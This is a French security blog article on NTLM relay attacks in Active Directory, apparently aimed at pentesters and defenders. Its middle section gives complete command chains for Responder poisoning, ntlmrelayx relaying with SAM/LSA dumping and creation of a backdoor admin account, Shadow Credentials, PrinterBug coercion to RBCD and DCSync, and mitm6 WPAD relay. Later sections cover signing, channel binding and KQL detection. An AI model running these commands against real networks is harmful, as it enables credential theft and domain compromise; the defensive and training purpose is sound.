NTLM Relay 2026 : Techniques et Defenses Actuelles

Etat de l'art des attaques NTLM relay en 2026 : nouvelles techniques de coercion, contournements et stratégies de defense. Les équipes de sécurité et les professionnels du domaine y trouveront des recommandations applicables immediatement. Face a la sophistication croissante des attaques ciblant les environnements Active Directory et Entra ID, les administrateurs système et les équipes de sécurité doivent constamment renforcer leurs defenses. Cet article présente les techniques, outils et méthodologies nécessaires pour auditer, securiser et surveiller efficacement ces infrastructures critiques dans un contexte de menaces en perpetuelle evolution. Active Directory reste la cible privilégiée des attaquants en environnement Windows. Comprendre relay ntlm 2026 techniques defenses est indispensable pour les équipes offensives comme défensives.

Contexte et Enjeux

La sécurité d'Active Directory reste un enjeu majeur pour les entreprises en 2025-2026. Avec la multiplication des attaques poussées, les équipes IT doivent constamment adapter leurs defenses. Les environnements hybrides combinant AD on-premise et Entra ID (anciennement Azure AD) ajoutent une complexite supplementaire.

Pour comprendre les fondamentaux, consultez notre article sur As Rep Roasting Attaque Defense. Les techniques d'attaque evoluent rapidement, comme détaillé dans Top 10 Attaques Active Directory.

Notre avis d'expert

Le modèle Zero Trust remet fondamentalement en question l'architecture traditionnelle d'Active Directory. Pourtant, la majorité des entreprises restent dépendantes d'AD pour leur gestion d'identités. La transition vers une architecture hybride sécurisée nécessite une planification minutieuse et un modèle de Tiering rigoureux.

Votre Active Directory résisterait-il à une attaque Kerberoasting ?

447
PAGES

Guide Gratuit : Sécuriser Active Directory (447 pages)

Attaques, Tiering Model, durcissement, monitoring — par Ayi NEDJIMI

Télécharger le PDF →

Analyse Technique Detaillee

L'approche technique repose sur plusieurs vecteurs d'attaque complementaires. Les pentesters et red teamers utilisent ces techniques pour identifier les failles dans les configurations AD. La comprehension de la chaine d'attaque complete est essentielle pour mettre en place des defenses efficaces.

⚡

Retour terrain

Lors d'un red team pour un groupe industriel, j'ai pu dumper des hashes NTLM depuis la mémoire LSASS d'un poste standard — via une vulnérabilité d'une application tierce installée sur tous les postes. Avec ces hashes, le mouvement latéral vers 60 % du parc s'est fait en 20 minutes sans craquer un seul mot de passe. La protection NTLM (Credential Guard + Protected Users) était pourtant dans la roadmap depuis 18 mois.

Les outils comme BloodHound, Impacket et Rubeus permettent d'automatiser la détection des chemins d'attaque. Selon les recommandations de OWASP, la surveillance des événements critiques (Event ID 4769, 4662, 4724) est indispensable. Notre guide Acl Abuse Attaque Defense détaillé les procedures d'audit.

La complexite des environnements modernes nécessite une approche en couches. Le modele de tiering recommande par Microsoft et l'ANSSI reste la référence pour segmenter les acces privilegies.

Stratégies de Defense et Remediation

La remediation doit etre progressive et priorisee. Commencez par les quick wins : desactiver NTLM ou possible, activer le Protected Users group, configurer le tiering. Ensuite, abordez les chantiers de fond comme la migration vers le passwordless et le renforcement du Conditional Access.

• Étape 1 : Audit complet avec les scripts recommandes — voir Gpo Abuse Attaque Defense
• Étape 2 : Remediation des configurations critiques
• Étape 3 : Mise en place du monitoring continu
• Étape 4 : Tests de penetration reguliers

Cas concret

L'attaque SolarWinds (2020) a utilisé la technique Golden SAML pour forger des tokens d'authentification, permettant un accès persistant aux environnements Microsoft 365 et Azure AD sans déclencher d'alertes. Cette technique a démontré que la compromission d'un serveur AD FS pouvait anéantir la confiance dans toute l'infrastructure d'identité.

Plusieurs outils gratuits facilitent l'audit et le durcissement d'Active Directory. PingCastle, Purple Knight et ADRecon fournissent des rapports detailles. Les références de ANSSI completent ces outils avec des bonnes pratiques validees. Pour approfondir, consultez Forest Trust Abuse Attaque Defense.

Questions frequentes

Comment securiser un environnement Active Directory ?

La sécurisation d'Active Directory repose sur plusieurs piliers : l'implementation du modele de tiering, la restriction des privileges administratifs, la surveillance des événements critiques, le déploiement du Protected Users group, la desactivation des protocoles obsoletes comme NTLM et la mise en place d'audits reguliers.

Qu'est-ce que le modele de tiering Active Directory ?

Le modele de tiering est une architecture de sécurité recommandee par Microsoft et l'ANSSI qui segmente les acces privilegies en trois niveaux : Tier 0 pour les controleurs de domaine, Tier 1 pour les serveurs membres et Tier 2 pour les postes de travail, empechant ainsi la propagation laterale des attaquants.

Pourquoi les attaques Active Directory sont-elles si frequentes ?

Les attaques Active Directory sont frequentes car AD reste le système d'authentification central de la majorite des entreprises. Les configurations par defaut sont souvent permissives, les privileges excessifs repandus et les techniques d'exploitation bien documentees, ce qui en fait une cible privilegiee pour les attaquants.

La mise en pratique de ces concepts nécessite une approche methodique et structuree. Les équipes techniques doivent d'abord evaluer leur niveau de maturite actuel sur le sujet, identifier les lacunes prioritaires et definir un plan d'action realiste. L'implementation progressive, avec des jalons mesurables, garantit une adoption durable et efficace des pratiques recommandees.

Les organisations qui reussissent le mieux dans ce domaine adoptent une culture d'amelioration continue. Cela implique des revues regulieres des processus, une veille technologique active et une formation permanente des équipes. Les indicateurs de performance doivent etre definis des le depart pour mesurer objectivement les progres realises et ajuster la stratégie si necessaire.

L'integration de ces pratiques dans les processus existants de l'organisation est un facteur cle de succes. Plutot que de creer des workflows paralleles, il est recommande d'enrichir les procedures actuelles avec les controles et les verifications necessaires. Cette approche reduit la resistance au changement et facilite l'adoption par les équipes operationnelles.

Recommandations de durcissement

La sécurisation d'un environnement Active Directory passe par une approche méthodique. Le modèle de tiering proposé par Microsoft — avec une séparation stricte des comptes administrateurs Tier 0, Tier 1 et Tier 2 — reste la fondation de toute architecture sécurisée. Pourtant, dans la majorité des audits, on constate que ce modèle n'est que partiellement appliqué.

LAPS (Local Administrator Password Solution) est un autre pilier souvent négligé. Sans LAPS, un seul mot de passe administrateur local compromis peut ouvrir la voie à un mouvement latéral massif. La documentation Microsoft détaille la mise en œuvre, mais l'implémentation sur un parc hétérogène prend du temps et de la planification.

Points de contrôle prioritaires

Les chemins d'attaque les plus courants dans un AD passent par : les délégations Kerberos non contraintes, les comptes de service avec des SPN et des mots de passe faibles (cible du Kerberoasting), les GPO mal configurées qui exposent des credentials, et les ACL permissives sur des objets sensibles comme AdminSDHolder.

BloodHound permet de cartographier ces chemins en quelques minutes. Si vous ne l'avez jamais lancé sur votre environnement de production, la découverte risque d'être instructive. La réalité est souvent plus complexe que ce que les schémas théoriques laissent supposer.

Consultez les recommandations de l'ANSSI et le référentiel MITRE ATT&CK TA0004 (Privilege Escalation) pour structurer votre approche défensive.

Contexte et enjeux actuels

Impact opérationnel

Pour approfondir ce sujet, consultez notre outil open-source bloodhound-custom-queries qui facilite l'analyse avancée des chemins d'attaque Active Directory.

Les sujets techniques en cybersécurité exigent une approche rigoureuse, fondée sur l'expérimentation et la validation en conditions réelles. Les environnements de laboratoire — qu'ils soient construits avec Proxmox, VMware Workstation ou des services cloud éphémères — sont indispensables pour tester les techniques, les outils et les contre-mesures avant tout déploiement en production.

L'un des écueils les plus fréquents dans la mise en œuvre de solutions techniques de sécurité est le gap entre la documentation officielle et la réalité du terrain. Les guides de déploiement supposent souvent un environnement propre et standardisé, là où la plupart des organisations gèrent un patrimoine applicatif hétérogène, avec des dépendances croisées et des configurations héritées.

Approche méthodique recommandée

Pour chaque implémentation technique, la méthodologie suivante a fait ses preuves : audit de l'existant, définition des prérequis, déploiement en environnement de test, validation fonctionnelle et sécurité, déploiement progressif en production avec rollback plan, puis monitoring post-déploiement. Chaque étape doit être documentée.

Les référentiels MITRE ATT&CK et MITRE D3FEND fournissent un cadre structuré pour aligner les mesures techniques sur les menaces réelles. D3FEND, en particulier, cartographie les contre-mesures défensives face aux techniques d'attaque, ce qui facilite la priorisation des investissements en sécurité.

La documentation interne — runbooks, playbooks, procédures d'exploitation — est le maillon souvent manquant. Sans elle, la connaissance reste dans la tête des experts, et chaque départ ou absence crée un risque opérationnel. Avez-vous documenté vos procédures critiques de manière à ce qu'un nouveau membre de l'équipe puisse les exécuter de manière autonome ?

Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Conclusion

La sécurisation d'Active Directory est un processus continu qui nécessite une vigilance constante. Les nouvelles menaces de 2026 renforcent la nécessite d'adopter une approche proactive, combinant audit regulier, monitoring en temps reel et formation des équipes.

Article suivant recommandé

Entra Connect SyncJacking : Bloquer l'Attaque en 2026 →

Comment bloquer l'attaque SyncJacking ciblant Entra Connect pour empecher la compromission du tenant Azure AD.

Découvrez mon outil

NTLMHashAudit

Audit des hashs NTLM dans Active Directory

Voir →

Kerberoasting : Technique d'attaque ciblant les Service Principal Names (SPN) dans Active Directory pour extraire et craquer hors ligne les tickets de service Kerberos.

Les techniques d'attaque Active Directory décrites nécessitent une autorisation écrite préalable. Testez uniquement sur des environnements de lab ou dans le cadre d'un audit mandaté.

Utilisez BloodHound Community Edition pour cartographier les chemins d'attaque Active Directory avant un audit. La visualisation graphique révèle des vecteurs invisibles à l'analyse manuelle.

Votre Active Directory est-il compromis ?

Audit AD complet, détection de chemins d'attaque, durcissement Tier Model — intervention sous 48h.

Audit AD — Devis gratuit [email protected]

Exploitation Avancée avec Responder et ntlmrelayx : Guide Opérationnel

La chaîne d'exploitation NTLM relay repose sur deux outils complémentaires : Responder (empoisonnement LLMNR/NBT-NS/mDNS) et ntlmrelayx (relais et exploitation). La maîtrise de leur interaction est indispensable pour comprendre comment les défendre efficacement.

Configuration de Responder pour la capture de hachages

Responder intercepte les requêtes de résolution de noms sur le réseau local. Il répond à la place des serveurs légitimes, forçant les clients Windows à s'authentifier contre lui.

# Installation et configuration initiale
git clone https://github.com/lgandx/Responder
cd Responder

# Modifier Responder.conf pour désactiver SMB et HTTP (relais actif)
# SMB = Off / HTTP = Off → évite de capturer au lieu de relayer
sed -i 's/^SMB = On/SMB = Off/' Responder.conf
sed -i 's/^HTTP = On/HTTP = Off/' Responder.conf

# Lancement sur l'interface réseau cible
sudo python3 Responder.py -I eth0 -wfrd -P -v

# Options clés :
# -w  : démarrage du serveur WPAD (force l'authentification des proxies)
# -f  : fingerprinting OS des hôtes détectés
# -r  : réponse aux requêtes NBNS sur le réseau
# -d  : réponse aux requêtes DHCP broadcast
# -P  : ProxyAuth - force BasicAuth sur les requêtes WPAD

ntlmrelayx : Multi-relay vers plusieurs cibles simultanées

La puissance de ntlmrelayx réside dans sa capacité à relayer simultanément vers plusieurs cibles et à enchaîner automatiquement des actions post-exploitation.

# Préparer la liste des cibles (hôtes sans SMB signing)
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

# Relay basique vers SMB avec dump SAM automatique
impacket-ntlmrelayx -tf targets.txt -smb2support

# Relay avec exécution de commande (socks proxy)
impacket-ntlmrelayx -tf targets.txt -smb2support -socks
# → ouvre un proxy SOCKS5 sur 127.0.0.1:1080
# → utiliser proxychains pour enchaîner d'autres outils

# Relay avec dump des secrets (LSA, SAM, NTDS partiel)
impacket-ntlmrelayx -tf targets.txt -smb2support -l /tmp/loot

# Multi-attack : combiner dump + exec + SOCKS
impacket-ntlmrelayx -tf targets.txt -smb2support -l /tmp/loot   -c "net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add"

Shadow Credentials via NTLM Relay vers LDAPS

L'attaque Shadow Credentials est l'une des techniques NTLM relay les plus dangereuses de 2025-2026. Elle exploite la relation de confiance entre les attributs msDS-KeyCredentialLink et l'authentification Kerberos PKINIT pour obtenir un TGT sans connaître le mot de passe du compte.

# Étape 1 : Relay vers LDAPS avec ajout de Shadow Credentials
# Prérequis : LDAPS actif + pas de channel binding obligatoire

impacket-ntlmrelayx -t ldaps://dc01.corp.local   --shadow-credentials   --shadow-target 'targetuser$'

# Output attendu :
# [*] Attempting Shadow Credentials attack
# [*] Generating certificate
# [*] Certificate generated for targetuser$
# [*] Adding Key Credential Link attribute
# [+] Shadow credentials attack completed!
# [*] Saved certificate and private key to: targetuser$_shadow_credentials.pfx

# Étape 2 : Obtenir un TGT avec le certificat généré
python3 PKINITtools/gettgtpkinit.py   -cert-pfx targetuser\$_shadow_credentials.pfx   corp.local/targetuser$ targetuser.ccache

# Étape 3 : Extraire le hash NT via U2U (PKINIT + Kerberos U2U)
python3 PKINITtools/getnthash.py   -key $(cat targetuser_key.hex)   corp.local/targetuser$

# Hash NT récupéré → PTH possible immédiatement

Scénarios NTLM Relay Modernes : SMB→LDAP et HTTP→SMB

Scénario 1 : Coercion via PrinterBug vers LDAP (SMB→LDAP)

Ce scénario combine la coercion d'authentification (forcer un serveur à s'authentifier contre l'attaquant) avec le relais LDAP pour modifier des attributs Active Directory.

# Phase 1 : Déclencher la coercion via SpoolSample (PrinterBug)
# Le DC va s'authentifier contre notre machine en NTLM
python3 SpoolSample.py dc01.corp.local attacker.corp.local

# Alternative via Coercer (agrège tous les vecteurs de coercion)
python3 Coercer.py coerce -l attacker.corp.local -t dc01.corp.local   -u lowpriv -p 'Password123' -d corp.local --always-continue

# Phase 2 : En parallèle, ntlmrelayx attend le relay vers LDAP
# Action : ajouter l'attaquant comme RBCD (Resource-Based Constrained Delegation)
impacket-ntlmrelayx -t ldap://dc01.corp.local   --delegate-access   --escalate-user attacker_machine$

# Phase 3 : S'impersoner en SYSTEM sur le DC via RBCD
impacket-getST -spn cifs/dc01.corp.local   -impersonate Administrator   corp.local/'attacker_machine$':password

# Phase 4 : DCSync
KRB5CCNAME=Administrator.ccache   impacket-secretsdump -k -no-pass dc01.corp.local

Scénario 2 : Relay HTTP→SMB via WPAD

L'empoisonnement WPAD est particulièrement efficace car les navigateurs Windows cherchent automatiquement un fichier de configuration de proxy, déclenchant une authentification NTLM.

# WPAD attack chain complète
# 1. Responder capture les requêtes WPAD via LLMNR/NBT-NS
#    → Les clients cherchent wpad.corp.local
#    → Responder répond avec son IP

# 2. Le navigateur télécharge le PAC file et s'authentifie
#    → Trafic HTTP : Attacker reçoit le challenge NTLM
#    → Relay vers SMB targets.txt

# Variante avec mitm6 (IPv6 + DHCPv6 spoofing, plus discret)
sudo mitm6 -d corp.local -i eth0 &

impacket-ntlmrelayx -6 -t smb://192.168.1.10   -wh attacker.corp.local   -l /tmp/loot   -smb2support

# mitm6 explique pourquoi IPv6 est dangereux même sans déploiement :
# Windows préfère IPv6 par défaut → DHCPv6 peut usurper le DNS IPv6
# → les clients Windows vont chercher leurs ressources chez l'attaquant

Défenses Complètes : SMB Signing, LDAP Signing et Channel Binding

SMB Signing : Déploiement par GPO

Le SMB signing invalide les attaques relay SMB en authentifiant cryptographiquement chaque paquet. Son absence sur les postes de travail est la cause principale des succès NTLM relay en entreprise.

# Vérification de l'état SMB signing sur le réseau
crackmapexec smb 192.168.1.0/24 --gen-relay-list nosigning.txt
# Affiche les hôtes sans signing → cibles potentielles

# Activation par GPO (Computer Configuration)
# Chemin : Computer Configuration → Windows Settings → Security Settings
#          → Local Policies → Security Options

# Paramètres critiques :
# "Microsoft network client: Digitally sign communications (always)" → Enabled
# "Microsoft network server: Digitally sign communications (always)" → Enabled
# "Microsoft network client: Digitally sign communications (if server agrees)" → Enabled

# Vérification via PowerShell après déploiement
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature
Get-SmbClientConfiguration | Select-Object RequireSecuritySignature

# Activer programmatiquement (nécessite redémarrage service)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force

LDAP Signing et Channel Binding (EPA)

LDAP signing protège contre le relay NTLM vers LDAP/LDAPS. La configuration doit couvrir les deux protocoles et être appliquée sur tous les contrôleurs de domaine.

# GPO pour LDAP signing sur les DCs
# Computer Configuration → Windows Settings → Security Settings
#   → Local Policies → Security Options
# "Domain controller: LDAP server signing requirements" → Require signing

# LDAP Channel Binding (EPA) - protect against relay to LDAPS
# Nécessite KB4520412 + Windows Server 2019/2022
# Registry path sur les DCs :
# HKLM/SYSTEM/CurrentControlSet/Services/NTDS/Parameters
# LdapEnforceChannelBinding = 2 (Always / Strict)

# Vérification via LdapEnforceChannelBinding avec ldapsearch
ldapsearch -H ldaps://dc01.corp.local -x -D "[email protected]"   -W -b "DC=corp,DC=local" "(objectClass=domain)"   -ZZ  # Tentative StartTLS → rejet si channel binding strict

# Audit des clients LDAP non-conformes avant déploiement strict
# Event ID 2889 dans Logs\Directory Service → requêtes LDAP sans signing

Désactivation de NTLM : La Défense Définitive

# Bloquer NTLM pour les connexions sortantes (phase 1)
# GPO : Computer Configuration → Security Settings → Local Policies → Security Options
# "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers"
# → Deny all (attention aux exceptions legacy)

# Bloquer NTLM entrant sur les DCs (phase 2 - plus impactant)
# "Network security: Restrict NTLM: NTLM authentication in this domain" → Deny all
# Exceptions whitelist : "Network security: Restrict NTLM: Add server exceptions"

# Monitoring NTLM via Event IDs
# 4776 : Tentative d'authentification NTLM (DC)
# 4624 (LogonType=3, AuthPackage=NTLM) : Logon NTLM réseau réussi
# 8004 : NTLM bloqué par policy

# KQL pour Sentinel - détecter relay actif
SecurityEvent
| where EventID == 4776
| where AccountName !endswith "$"
| summarize count() by TargetUserName, WorkstationName, bin(TimeGenerated, 5m)
| where count_ > 10
| order by count_ desc

Tableau des Variantes NTLM Relay Modernes

La protection contre les attaques NTLM relay nécessite une approche en couches : désactiver LLMNR/NBT-NS par GPO, activer SMB signing sur tous les hôtes (y compris les postes de travail), enforcer LDAP signing et channel binding sur les DCs, et progresser vers la désactivation complète de NTLM au profit de Kerberos. Le monitoring des EventID 4776 et 8004 permet de détecter les tentatives en cours avant qu'elles ne se transforment en compromission de domaine.